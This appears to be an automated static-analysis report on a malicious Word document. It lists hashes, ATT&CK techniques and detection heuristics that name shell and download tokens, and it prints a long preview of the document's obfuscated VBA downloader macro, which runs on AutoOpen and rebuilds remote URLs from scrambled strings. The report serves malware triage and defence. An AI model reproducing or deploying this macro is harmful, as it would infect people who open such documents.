Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 d7e01bffc54e99f8…

MALICIOUS

Office (OLE) / .DOC

284.0 KB Created: 2023-03-21 21:39:00 Authoring application: Microsoft Office Word First seen: 2023-03-22
MD5: 1ed1a8d46dc3e3d89fdbf5eb00f42edb SHA-1: 1b6e2c9ba31d58d4e330874314e59a7fce33dad5 SHA-256: d7e01bffc54e99f8ead1a8499dae9d51fa259a4f18062f2d5312cd3ee09394ad
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes obfuscated strings and calls to CreateObject and CallByName, indicating an attempt to download and execute a second-stage payload. The presence of the 'macros.bas' file further supports the analysis of VBA macro activity.

Heuristics 8

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set dKuCy = CreateObject(yGRZYJM)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName lWPSeLj, YVuOSfvx, 1
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 39935 bytes
SHA-256: 97f8bc49a656d504c7ad6c7e3f81dd97eb369b7c4924ca2621a45fc5a7aa8245
Detection
ClamAV: No threats found
Obfuscation or payload: likely
191 of 269 identifiers look randomly generated (e.g. 'DZAPyiAWvYwLrUeYEJurMvzcyaZnxlccBYyG8spg') — consistent with name-mangling obfuscation. Carved artifact contains 12 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function gJOq() As Object
Dim xBZYkIt As String
Dim mh As String
Dim wXI(21) As Long
Dim utfdsO As Long
utfdsO = 12
mh = "gQXBrGxfHtUGFmkXX.DXsSnLAeiiZVBsQaIeuCUaZSiuyhGlcNKDOgbuJGbLDKUK"
wXI(0) = 25
wXI(1) = 19
wXI(2) = 53
wXI(3) = 19
wXI(4) = 4
wXI(5) = 18
wXI(6) = 22
wXI(7) = 10
wXI(8) = 5
wXI(9) = 26
wXI(10) = 34
wXI(11) = 14
wXI(12) = 38
wXI(13) = 41
wXI(14) = 59
wXI(15) = 6
wXI(16) = 8
wXI(17) = 54
wXI(18) = 17
wXI(19) = 49
wXI(20) = 63
xBZYkIt = aBGIMOS(mh, wXI, utfdsO)
Set gJOq = dKuCy(xBZYkIt)
End Function
Function KTwW() As Object
Dim QXNNOu As String
Dim KL As String
Dim QUz(47) As Long
Dim ctydy As Long
ctydy = 26
KL = "pwukRKffntRbHOpEXdPwvjfaHXAGPrrCWIfOm.t5qvZmJrpmfCRQEmMwvanqzQMlaqqVtrLiZYlnICPuxwgncuYzUZeaBNaOEczpagPpGTkX1tDHATaWFgDrrieXiuJkKtQib.DktmreWscstG.K"
QUz(0) = 33
QUz(1) = 72
QUz(2) = 9
QUz(3) = 13
QUz(4) = 10
QUz(5) = 10
QUz(6) = 1
QUz(7) = 38
QUz(8) = 33
QUz(9) = 72
QUz(10) = 9
QUz(11) = 13
QUz(12) = 10
QUz(13) = 10
QUz(14) = 1
QUz(15) = 5
QUz(16) = 91
QUz(17) = 41
QUz(18) = 3
QUz(19) = 91
QUz(20) = 142
QUz(21) = 10
QUz(22) = 38
QUz(23) = 40
QUz(24) = 38
QUz(25) = 109
QUz(26) = 126
QUz(27) = 96
QUz(28) = 41
QUz(29) = 127
QUz(30) = 21
QUz(31) = 32
QUz(32) = 41
QUz(33) = 117
QUz(34) = 139
QUz(35) = 137
QUz(36) = 74
QUz(37) = 7
QUz(38) = 126
QUz(39) = 118
QUz(40) = 115
QUz(41) = 147
QUz(42) = 64
QUz(43) = 106
QUz(44) = 41
QUz(45) = 23
QUz(46) = 72
QXNNOu = aBGIMOS(KL, QUz, ctydy)
Set KTwW = dKuCy(QXNNOu)
End Function
Sub NxqML(TbEGCKc() As Byte, img As String)
Dim Lmivrzh As Object
Set Lmivrzh = gJOq()
ezF Lmivrzh
UzO Lmivrzh
xrNEb Lmivrzh, TbEGCKc
NqiV Lmivrzh, img
OmgqJ Lmivrzh
End Sub
Function aBGIMOS(YqhjC As String, tXCk() As Long, AQnRGU As Long) As String
Dim zKZIp As String
Dim wokhNSJ As Variant
AQnRGU = AQnRGU - 1
For URBSqde = 0 To AQnRGU
wokhNSJ = Mid(YqhjC, tXCk(URBSqde), 1)
zKZIp = zKZIp & wokhNSJ
Next URBSqde
aBGIMOS = zKZIp
End Function
Sub OmgqJ(lWPSeLj As Object)
Dim YVuOSfvx As String
Dim jAYYWe As String
Dim rzMeo(7) As Long
Dim FmTCP As Long
FmTCP = 5
jAYYWe = "eMuWmOgqxdimrAlXzgOsYsMQCQeHTsrBUZIvMophXMxQo"
rzMeo(0) = 25
rzMeo(1) = 15
rzMeo(2) = 38
rzMeo(3) = 20
rzMeo(4) = 1
rzMeo(5) = 39
rzMeo(6) = 44
YVuOSfvx = aBGIMOS(jAYYWe, rzMeo, FmTCP)
CallByName lWPSeLj, YVuOSfvx, 1
End Sub
Sub NqiV(eLjTi As Object, TmQNuo As String)
Dim wBDfpPY As String
Dim mtC As String
Dim qFJTp(18) As Long
Dim pIhdL As Long
pIhdL = 10
mtC = "UMVgTASNnWLWmoyjeVMOaCZtviIPFyFzcMHledcTc"
qFJTp(0) = 7
qFJTp(1) = 21
qFJTp(2) = 25
qFJTp(3) = 17
qFJTp(4) = 5
qFJTp(5) = 14
qFJTp(6) = 29
qFJTp(7) = 26
qFJTp(8) = 36
qFJTp(9) = 17
qFJTp(10) = 10
qFJTp(11) = 33
qFJTp(12) = 12
qFJTp(13) = 36
qFJTp(14) = 10
qFJTp(15) = 9
qFJTp(16) = 31
qFJTp(17) = 21
wBDfpPY = aBGIMOS(mtC, qFJTp, pIhdL)
CallByName eLjTi, wBDfpPY, 1, TmQNuo, 2
End Sub
Function OXw() As String
Dim Updd As String
Dim maYAOhj As String
Dim THD As String
Dim kljgYBmf As String
Dim dobWek(5) As Long
Dim EdAwmKD As Long
EdAwmKD = 4
kljgYBmf = "vWKvAOnIhQvVaPtj"
dobWek(0) = 14
dobWek(1) = 13
dobWek(2) = 15
dobWek(3) = 9
dobWek(4) = 12
THD = aBGIMOS(kljgYBmf, dobWek, EdAwmKD)
Dim LGCM As String
Dim OeLEK As String
Dim MfaMi(2) As Long
Dim PJDisKvf As Long
PJDisKvf = 1
OeLEK = "TVVNQkrW\"
MfaMi(0) = 9
MfaMi(1) = 7
LGCM = aBGIMOS(OeLEK, MfaMi, PJDisKvf)
Updd = CallByName(ActiveDocument, THD, 2)
maYAOhj = UDSiIA()
OXw = Updd & LGCM & maYAOhj
End Function
Function GDTByC(RvrzcRK() As Byte) As Integer
GDTByC = 0
If UBound(RvrzcRK) > 1 Then
If RvrzcRK(0) = 77 And RvrzcRK(1) = 90 Then
GDTByC = 1
End If
If RvrzcRK(0) = 80 And RvrzcRK(1) = 75 Then
GDTByC = 2
End If
End If
End Function
Sub AFxXIaEi(KvrL As Object, yooWjHE As String)
Dim meCIXYKA As String
Dim DXGeH As String
Dim CfDv(12) As Long
Dim hPnvEEvo As Long
hPnvEEvo = 12
DXGeH = "FChkKfWDmrDPEvQrRGeDnXHeSWCmehndBfCpAzZzoaPyibPWZGVTtvNehHkAeNlGSeydadfkreRNAiiWFfeDLVpNzWEIzv"
CfDv(0) = 2
CfDv(1) = 10
CfDv(2) = 19
CfDv(3) = 42
CfDv(4) = 53
CfDv(5) = 19
CfDv(6) = 1
CfDv(7) = 41
CfDv(8) = 63
CfDv(9) = 32
CfDv(10) = 19
CfDv(11) = 10
meCIXYKA = aBGIMOS(DXGeH, CfDv, hPnvEEvo)
CallByName KvrL, meCIXYKA, 1, yooWjHE
End Sub
Sub YXIFCkik(TMppkN As Object, QYn As String)
Dim Iqymjeos As String
Dim QVYA As String
Dim bAzKLC(27) As Long
Dim bxJCrX As Long
bxJCrX = 10
QVYA = "TRalBlUZeDibeankEUjqRnUlhQCNIBqJeMyWUgIwAxZQltZEYXnjDCriryAfLklxHMCLokqFRNeLvCdEEslhO"
bAzKLC(0) = 10
bAzKLC(1) = 9
bAzKLC(2) = 4
bAzKLC(3) = 9
bAzKLC(4) = 46
bAzKLC(5) = 9
bAzKLC(6) = 72
bAzKLC(7) = 11
bAzKLC(8) = 4
bAzKLC(9) = 9
bAzKLC(10) = 70
bAzKLC(11) = 2
bAzKLC(12) = 47
bAzKLC(13) = 26
bAzKLC(14) = 85
bAzKLC(15) = 29
bAzKLC(16) = 39
bAzKLC(17) = 16
bAzKLC(18) = 60
bAzKLC(19) = 84
bAzKLC(20) = 65
bAzKLC(21) = 47
bAzKLC(22) = 27
bAzKLC(23) = 10
bAzKLC(24) = 84
bAzKLC(25) = 33
bAzKLC(26) = 16
Iqymjeos = aBGIMOS(QVYA, bAzKLC, bxJCrX)
CallByName TMppkN, Iqymjeos, 1, QYn
End Sub
Sub AutoOpen()
Dim RoVtvguk As String
Dim EXNqaGl As String
Dim XREKzOYa As String
Dim vbms(140) As Long
Dim gwCe As Long
gwCe = 47
XREKzOYa = "pgboIcl5dywNPgZMPDhzpInv/REkd5hzu/OuoCEuCYjhwTPWJaeiJzFcInGIoT/OlIWeKWQMheRmppzWiMOqnlpFyLaYutIoMO/YyDtonNppjGcWJjUicguoiZEkdLCaarCXfT-TdmyaLpNu:GNdFIvBBFQnsFlrnmlncla.SBykzIPyOlfpeYfJTGgR/lVKwbvlvtXyyNym"
vbms(0) = 19
vbms(1) = 94
vbms(2) = 94
vbms(3) = 1
vbms(4) = 145
vbms(5) = 25
vbms(6) = 25
vbms(7) = 19
vbms(8) = 4
vbms(9) = 6
vbms(10) = 24
vbms(11) = 52
vbms(12) = 51
vbms(13) = 23
vbms(14) = 6
vbms(15) = 19
vbms(16) = 33
vbms(17) = 10
vbms(18) = 51
vbms(19) = 23
vbms(20) = 2
vbms(21) = 52
vbms(22) = 50
vbms(23) = 168
vbms(24) = 24
vbms(25) = 23
vbms(26) = 25
vbms(27) = 11
vbms(28) = 1
vbms(29) = 135
vbms(30) = 50
vbms(31) = 9
vbms(32) = 76
vbms(33) = 52
vbms(34) = 23
vbms(35) = 25
vbms(36) = 8
vbms(37) = 46
vbms(38) = 8
vbms(39) = 49
vbms(40) = 3
vbms(41) = 48
vbms(42) = 50
vbms(43) = 33
vbms(44) = 7
vbms(45) = 35
vbms(46) = 25
vbms(47) = 144
vbms(48) = 143
vbms(49) = 56
vbms(50) = 72
vbms(51) = 121
vbms(52) = 183
vbms(53) = 105
vbms(54) = 138
vbms(55) = 166
vbms(56) = 118
vbms(57) = 74
vbms(58) = 24
vbms(59) = 44
vbms(60) = 25
vbms(61) = 195
vbms(62) = 129
vbms(63) = 130
vbms(64) = 188
vbms(65) = 87
vbms(66) = 169
vbms(67) = 157
vbms(68) = 38
vbms(69) = 59
vbms(70) = 108
vbms(71) = 129
vbms(72) = 201
vbms(73) = 78
vbms(74) = 155
vbms(75) = 55
vbms(76) = 18
vbms(77) = 43
vbms(78) = 88
vbms(79) = 10
vbms(80) = 146
vbms(81) = 6
vbms(82) = 96
vbms(83) = 72
vbms(84) = 38
vbms(85) = 164
vbms(86) = 181
vbms(87) = 197
vbms(88) = 157
vbms(89) = 114
vbms(90) = 148
vbms(91) = 167
vbms(92) = 199
vbms(93) = 138
vbms(94) = 52
vbms(95) = 127
vbms(96) = 63
vbms(97) = 90
vbms(98) = 159
vbms(99) = 187
vbms(100) = 105
vbms(101) = 59
vbms(102) = 51
vbms(103) = 113
vbms(104) = 177
vbms(105) = 24
vbms(106) = 11
vbms(107) = 167
vbms(108) = 128
vbms(109) = 119
vbms(110) = 152
vbms(111) = 28
vbms(112) = 177
vbms(113) = 84
vbms(114) = 11
vbms(115) = 186
vbms(116) = 136
vbms(117) = 85
vbms(118) = 63
vbms(119) = 141
vbms(120) = 28
vbms(121) = 173
vbms(122) = 179
vbms(123) = 51
vbms(124) = 74
vbms(125) = 139
vbms(126) = 138
vbms(127) = 14
vbms(128) = 161
vbms(129) = 5
vbms(130) = 21
vbms(131) = 154
vbms(132) = 127
vbms(133) = 158
vbms(134) = 29
vbms(135) = 68
vbms(136) = 124
vbms(137) = 131
vbms(138) = 59
vbms(139) = 115
EXNqaGl = aBGIMOS(XREKzOYa, vbms, gwCe)
Dim xpXwhI As String
Dim RWiUVaMM As String
Dim fseBU(49) As Long
Dim NFvD As Long
NFvD = 37
RWiUVaMM = "//Kh/NNhdlCTTFKFVrtFLLmwrRnCwSaPajPyVpbIRPudSiECtgIfNgtlpzoryaIZYFlZFlh.XtaMiacuwB.lh/OKPsensXUjDrjTBtR7OTxleOwqXVCeNtbDoynpuNeaI/cKnBmOrsepseZseE:Ynspun"
fseBU(0) = 4
fseBU(1) = 19
fseBU(2) = 19
fseBU(3) = 38
fseBU(4) = 147
fseBU(5) = 1
fseBU(6) = 1
fseBU(7) = 90
fseBU(8) = 59
fseBU(9) = 23
fseBU(10) = 91
fseBU(11) = 50
fseBU(12) = 9
fseBU(13) = 38
fseBU(14) = 90
fseBU(15) = 10
fseBU(16) = 59
fseBU(17) = 10
fseBU(18) = 72
fseBU(19) = 104
fseBU(20) = 23
fseBU(21) = 72
fseBU(22) = 38
fseBU(23) = 10
fseBU(24) = 1
fseBU(25) = 9
fseBU(26) = 31
fseBU(27) = 19
fseBU(28) = 31
fseBU(29) = 39
fseBU(30) = 31
fseBU(31) = 90
fseBU(32) = 91
fseBU(33) = 1
fseBU(34) = 10
fseBU(35) = 43
fseBU(36) = 1
fseBU(37) = 74
fseBU(38) = 33
fseBU(39) = 54
fseBU(40) = 33
fseBU(41) = 62
fseBU(42) = 45
fseBU(43) = 78
fseBU(44) = 33
fseBU(45) = 8
fseBU(46) = 51
fseBU(47) = 114
fseBU(48) = 72
xpXwhI = aBGIMOS(RWiUVaMM, fseBU, NFvD)
Dim kgmPGre As String
Dim CvE As String
Dim fDABzvB(42) As Long
Dim vfdqjg As Long
vfdqjg = 39
CvE = "jilSkYuvXZyShudUlNQrYefqctU:DVcGVoB/HdheoHzFq.aoRLJh1UpdUyZNimtxKNDASENjcMtAXC/VutxSukSDehKmYGEwkWtPrMZIMtnpnngXEureIj/rcuyBQcGwipAwtX/nU/GXueDmNBjKb"
fDABzvB(0) = 13
fDABzvB(1) = 26
fDABzvB(2) = 26
fDABzvB(3) = 55
fDABzvB(4) = 28
fDABzvB(5) = 36
fDABzvB(6) = 36
fDABzvB(7) = 26
fDABzvB(8) = 22
fDABzvB(9) = 25
fDABzvB(10) = 13
fDABzvB(11) = 107
fDABzvB(12) = 2
fDABzvB(13) = 111
fDABzvB(14) = 7
fDABzvB(15) = 2
fDABzvB(16) = 26
fDABzvB(17) = 47
fDABzvB(18) = 20
fDABzvB(19) = 22
fDABzvB(20) = 46
fDABzvB(21) = 25
fDABzvB(22) = 34
fDABzvB(23) = 62
fDABzvB(24) = 36
fDABzvB(25) = 23
fDABzvB(26) = 34
fDABzvB(27) = 20
fDABzvB(28) = 7
fDABzvB(29) = 62
fDABzvB(30) = 36
fDABzvB(31) = 8
fDABzvB(32) = 1
fDABzvB(33) = 68
fDABzvB(34) = 5
fDABzvB(35) = 53
fDABzvB(36) = 78
fDABzvB(37) = 9
fDABzvB(38) = 36
fDABzvB(39) = 2
fDABzvB(40) = 61
fDABzvB(41) = 94
kgmPGre = aBGIMOS(CvE, fDABzvB, vfdqjg)
Dim kVbxFaZ As String
Dim TfhI As String
Dim xHyJto(117) As Long
Dim DvP As Long
DvP = 54
TfhI = "fDP/zqL8InmcIbosiVOuyWWTmYyPpitCYpUBfx.awnsoNuTLGNRilhhORcisWpeMokrounAaIVty/hagYYGXViknSsC-zTaEDyHhcizYCrUsGPVDhWlneuQGgmCmwED/Vq/ADryvCipiQBnYusRYWaZcXfHjcjeYYLZM:AbiMCbeIyotpwmfkcWtmWntdhOEQth/lxdvTAjTBb"
xHyJto(0) = 54
xHyJto(1) = 31
xHyJto(2) = 31
xHyJto(3) = 29
xHyJto(4) = 16
xHyJto(5) = 165
xHyJto(6) = 4
xHyJto(7) = 4
xHyJto(8) = 16
xHyJto(9) = 40
xHyJto(10) = 12
xHyJto(11) = 54
xHyJto(12) = 17
xHyJto(13) = 10
xHyJto(14) = 17
xHyJto(15) = 10
xHyJto(16) = 31
xHyJto(17) = 63
xHyJto(18) = 67
xHyJto(19) = 10
xHyJto(20) = 40
xHyJto(21) = 31
xHyJto(22) = 17
xHyJto(23) = 15
xHyJto(24) = 10
xHyJto(25) = 40
xHyJto(26) = 53
xHyJto(27) = 39
xHyJto(28) = 12
xHyJto(29) = 15
xHyJto(30) = 11
xHyJto(31) = 4
xHyJto(32) = 41
xHyJto(33) = 29
xHyJto(34) = 92
xHyJto(35) = 40
xHyJto(36) = 189
xHyJto(37) = 11
xHyJto(38) = 17
xHyJto(39) = 10
xHyJto(40) = 4
xHyJto(41) = 9
xHyJto(42) = 7
xHyJto(43) = 18
xHyJto(44) = 2
xHyJto(45) = 10
xHyJto(46) = 53
xHyJto(47) = 11
xHyJto(48) = 9
xHyJto(49) = 71
xHyJto(50) = 24
xHyJto(51) = 14
xHyJto(52) = 8
xHyJto(53) = 4
xHyJto(54) = 40
xHyJto(55) = 16
xHyJto(56) = 137
xHyJto(57) = 114
xHyJto(58) = 72
xHyJto(59) = 65
xHyJto(60) = 38
xHyJto(61) = 181
xHyJto(62) = 129
xHyJto(63) = 151
xHyJto(64) = 53
xHyJto(65) = 18
xHyJto(66) = 46
xHyJto(67) = 57
xHyJto(68) = 132
xHyJto(69) = 135
xHyJto(70) = 201
xHyJto(71) = 26
xHyJto(72) = 164
xHyJto(73) = 70
xHyJto(74) = 109
xHyJto(75) = 116
xHyJto(76) = 6
xHyJto(77) = 193
xHyJto(78) = 102
xHyJto(79) = 15
xHyJto(80) = 74
xHyJto(81) = 15
xHyJto(82) = 77
xHyJto(83) = 171
xHyJto(84) = 121
xHyJto(85) = 197
xHyJto(86) = 69
xHyJto(87) = 163
xHyJto(88) = 41
xHyJto(89) = 120
xHyJto(90) = 15
xHyJto(91) = 112
xHyJto(92) = 4
xHyJto(93) = 112
xHyJto(94) = 3
xHyJto(95) = 140
xHyJto(96) = 96
xHyJto(97) = 177
xHyJto(98) = 146
xHyJto(99) = 116
xHyJto(100) = 99
xHyJto(101) = 24
xHyJto(102) = 34
xHyJto(103) = 39
xHyJto(104) = 114
xHyJto(105) = 161
xHyJto(106) = 193
xHyJto(107) = 108
xHyJto(108) = 167
xHyJto(109) = 38
xHyJto(110) = 111
xHyJto(111) = 132
xHyJto(112) = 45
xHyJto(113) = 104
xHyJto(114) = 1
xHyJto(115) = 140
xHyJto(116) = 196
kVbxFaZ = aBGIMOS(TfhI, xHyJto, DvP)
Dim wzEnptbI As String
Dim oXPumuy As String
Dim tpFnmDvV(59) As Long
Dim bEKd As Long
bEKd = 37
oXPumuy = "NFYxPXz/RgemRZdenldWYamhECsbaIpzQLfRspHXnLvPTnxbEMriYEQjNHlCeXi/XayLdhzDWoktKBPoixzsVaTZcyqnXxUEycWptcJwDCEoPsTDFyrlurRgNLlbiWqphKIsEFpPbs/sDuaeEYXCGToVwvBroDfagmBoyrteJugzgkNOkJzaahlDheAXtBEhhXXRXJtOvIaxstXjzTe/JbClhFIbkxc/PiJKZrTwWFZi.TgrzineCgvt:dxovk.hf"
tpFnmDvV(0) = 24
tpFnmDvV(1) = 76
tpFnmDvV(2) = 76
tpFnmDvV(3) = 31
tpFnmDvV(4) = 249
tpFnmDvV(5) = 8
tpFnmDvV(6) = 8
tpFnmDvV(7) = 15
tpFnmDvV(8) = 22
tpFnmDvV(9) = 51
tpFnmDvV(10) = 28
tpFnmDvV(11) = 22
tpFnmDvV(12) = 7
tpFnmDvV(13) = 52
tpFnmDvV(14) = 237
tpFnmDvV(15) = 74
tpFnmDvV(16) = 51
tpFnmDvV(17) = 10
tpFnmDvV(18) = 237
tpFnmDvV(19) = 10
tpFnmDvV(20) = 11
tpFnmDvV(21) = 8
tpFnmDvV(22) = 18
tpFnmDvV(23) = 22
tpFnmDvV(24) = 17
tpFnmDvV(25) = 10
tpFnmDvV(26) = 117
tpFnmDvV(27) = 22
tpFnmDvV(28) = 10
tpFnmDvV(29) = 11
tpFnmDvV(30) = 8
tpFnmDvV(31) = 52
tpFnmDvV(32) = 67
tpFnmDvV(33) = 33
tpFnmDvV(34) = 50
tpFnmDvV(35) = 24
tpFnmDvV(36) = 8
tpFnmDvV(37) = 129
tpFnmDvV(38) = 99
tpFnmDvV(39) = 100
tpFnmDvV(40) = 240
tpFnmDvV(41) = 171
tpFnmDvV(42) = 182
tpFnmDvV(43) = 143
tpFnmDvV(44) = 100
tpFnmDvV(45) = 119
tpFnmDvV(46) = 208
tpFnmDvV(47) = 150
tpFnmDvV(48) = 110
tpFnmDvV(49) = 156
tpFnmDvV(50) = 179
tpFnmDvV(51) = 227
tpFnmDvV(52) = 149
tpFnmDvV(53) = 52
tpFnmDvV(54) = 192
tpFnmDvV(55) = 1
tpFnmDvV(56) = 70
tpFnmDvV(57) = 4
tpFnmDvV(58) = 162
wzEnptbI = aBGIMOS(oXPumuy, tpFnmDvV, bEKd)
Dim YljHgDZ As String
Dim tFAv As String
Dim BrxRHqQ(101) As Long
Dim NtTro As Long
NtTro = 43
tFAv = "pXcWnZbzXDLXSVwZSzTqboTNz/caqvbu/trYnwcaCAqvOtR2VtOSLrRHCEVtEaTJt:pVLKprvfwsQmrIAMQoUmYgvtKxzAGyjarPsJcfSAjXhxIAFokZoyXJvPC/YLHaqimUFiGpcqnvaOHxPiAmGkqIXRkTWEz5oqZqSGXLSujNLzwTuLqvhEMgJRwXEoCFuB/CCw.gKhKsoeZiawJxsTVLUbrQNidPCTdniJvwDI.AItwXQIneB/yjIZCCxiTozmRTNzSzvsOhIQnNFtQmsOSutrlVOpBeQteZVDrlMrkzBzdeUVMP"
BrxRHqQ(0) = 109
BrxRHqQ(1) = 34
BrxRHqQ(2) = 34
BrxRHqQ(3) = 1
BrxRHqQ(4) = 66
BrxRHqQ(5) = 26
BrxRHqQ(6) = 26
BrxRHqQ(7) = 74
BrxRHqQ(8) = 22
BrxRHqQ(9) = 92
BrxRHqQ(10) = 160
BrxRHqQ(11) = 199
BrxRHqQ(12) = 34
BrxRHqQ(13) = 130
BrxRHqQ(14) = 78
BrxRHqQ(15) = 130
BrxRHqQ(16) = 28
BrxRHqQ(17) = 76
BrxRHqQ(18) = 34
BrxRHqQ(19) = 115
BrxRHqQ(20) = 22
BrxRHqQ(21) = 199
BrxRHqQ(22) = 1
BrxRHqQ(23) = 283
BrxRHqQ(24) = 26
BrxRHqQ(25) = 15
BrxRHqQ(26) = 22
BrxRHqQ(27) = 35
BrxRHqQ(28) = 223
BrxRHqQ(29) = 1
BrxRHqQ(30) = 35
BrxRHqQ(31) = 206
BrxRHqQ(32) = 76
BrxRHqQ(33) = 76
BrxRHqQ(34) = 26
BrxRHqQ(35) = 48
BrxRHqQ(36) = 8
BrxRHqQ(37) = 35
BrxRHqQ(38) = 11
BrxRHqQ(39) = 8
BrxRHqQ(40) = 42
BrxRHqQ(41) = 14
BrxRHqQ(42) = 26
BrxRHqQ(43) = 272
BrxRHqQ(44) = 97
BrxRHqQ(45) = 44
BrxRHqQ(46) = 169
BrxRHqQ(47) = 175
BrxRHqQ(48) = 56
BrxRHqQ(49) = 237
BrxRHqQ(50) = 195
BrxRHqQ(51) = 46
BrxRHqQ(52) = 28
BrxRHqQ(53) = 73
BrxRHqQ(54) = 14
BrxRHqQ(55) = 60
BrxRHqQ(56) = 14
BrxRHqQ(57) = 288
BrxRHqQ(58) = 283
BrxRHqQ(59) = 223
BrxRHqQ(60) = 239
BrxRHqQ(61) = 157
BrxRHqQ(62) = 104
BrxRHqQ(63) = 165
BrxRHqQ(64) = 111
BrxRHqQ(65) = 166
BrxRHqQ(66) = 34
BrxRHqQ(67) = 257
BrxRHqQ(68) = 17
BrxRHqQ(69) = 117
BrxRHqQ(70) = 179
BrxRHqQ(71) = 217
BrxRHqQ(72) = 233
BrxRHqQ(73) = 270
BrxRHqQ(74) = 286
BrxRHqQ(75) = 148
BrxRHqQ(76) = 21
BrxRHqQ(77) = 193
BrxRHqQ(78) = 140
BrxRHqQ(79) = 236
BrxRHqQ(80) = 46
BrxRHqQ(81) = 301
BrxRHqQ(82) = 36
BrxRHqQ(83) = 104
BrxRHqQ(84) = 145
BrxRHqQ(85) = 43
BrxRHqQ(86) = 221
BrxRHqQ(87) = 56
BrxRHqQ(88) = 274
BrxRHqQ(89) = 140
BrxRHqQ(90) = 143
BrxRHqQ(91) = 250
BrxRHqQ(92) = 21
BrxRHqQ(93) = 287
BrxRHqQ(94) = 260
BrxRHqQ(95) = 240
BrxRHqQ(96) = 155
BrxRHqQ(97) = 171
BrxRHqQ(98) = 204
BrxRHqQ(99) = 234
BrxRHqQ(100) = 249
YljHgDZ = aBGIMOS(tFAv, BrxRHqQ, NtTro)
Dim tTxiSc As String
Dim HqgRIbxP As String
Dim rcfcT(135) As Long
Dim EUBPbG As Long
EUBPbG = 52
HqgRIbxP = "hzmsSUEMLpZzz-duLzbuChkcnSSpfzhzsUHBIloXDijxnhZQfnStdMnLZWTscmpevbWaemovQcUWMtVmtwQLzuHPTSOOWLyPhcXVCLRzStqi/ytiAtxyyESHVoYAEFMxbXPTw/WRrGtBiBjrkreIJdDRCkzgjePJDaUIJruWYIupvDxXzeinENJMxKdtdrIjBUyWEqWqrrx.lFuVMiebptXixBueaGbYJnAVSSmAKpUpMTiFqjYrnuuHJubrZD:Gxqugo/xmHsl/Yw/eetOxCrbMXXtqCNEegNngZTsVRjrRydZAdEAwxjuFhoUSdsgesDWswPRIXBaEVAfUPnAYbpyrZUoaVQJugfrRXoatkLwLACJFUpsijokteaEVwVnvpr"
rcfcT(0) = 1
rcfcT(1) = 52
rcfcT(2) = 52
rcfcT(3) = 10
rcfcT(4) = 255
rcfcT(5) = 109
rcfcT(6) = 109
rcfcT(7) = 4
rcfcT(8) = 10
rcfcT(9) = 42
rcfcT(10) = 137
rcfcT(11) = 42
rcfcT(12) = 52
rcfcT(13) = 16
rcfcT(14) = 68
rcfcT(15) = 38
rcfcT(16) = 39
rcfcT(17) = 16
rcfcT(18) = 52
rcfcT(19) = 15
rcfcT(20) = 39
rcfcT(21) = 39
rcfcT(22) = 137
rcfcT(23) = 68
rcfcT(24) = 15
rcfcT(25) = 65
rcfcT(26) = 64
rcfcT(27) = 25
rcfcT(28) = 52
rcfcT(29) = 16
rcfcT(30) = 137
rcfcT(31) = 64
rcfcT(32) = 4
rcfcT(33) = 204
rcfcT(34) = 39
rcfcT(35) = 137
rcfcT(36) = 156
rcfcT(37) = 109
rcfcT(38) = 24
rcfcT(39) = 156
rcfcT(40) = 42
rcfcT(41) = 14
rcfcT(42) = 19
rcfcT(43) = 42
rcfcT(44) = 25
rcfcT(45) = 109
rcfcT(46) = 156
rcfcT(47) = 29
rcfcT(48) = 52
rcfcT(49) = 149
rcfcT(50) = 25
rcfcT(51) = 109
rcfcT(52) = 58
rcfcT(53) = 50
rcfcT(54) = 244
rcfcT(55) = 141
rcfcT(56) = 295
rcfcT(57) = 331
rcfcT(58) = 132
rcfcT(59) = 384
rcfcT(60) = 317
rcfcT(61) = 113
rcfcT(62) = 221
rcfcT(63) = 57
rcfcT(64) = 348
rcfcT(65) = 65
rcfcT(66) = 8
rcfcT(67) = 127
rcfcT(68) = 380
rcfcT(69) = 280
rcfcT(70) = 28
rcfcT(71) = 1
rcfcT(72) = 359
rcfcT(73) = 43
rcfcT(74) = 152
rcfcT(75) = 370
rcfcT(76) = 144
rcfcT(77) = 63
rcfcT(78) = 318
rcfcT(79) = 318
rcfcT(80) = 298
rcfcT(81) = 284
rcfcT(82) = 246
rcfcT(83) = 58
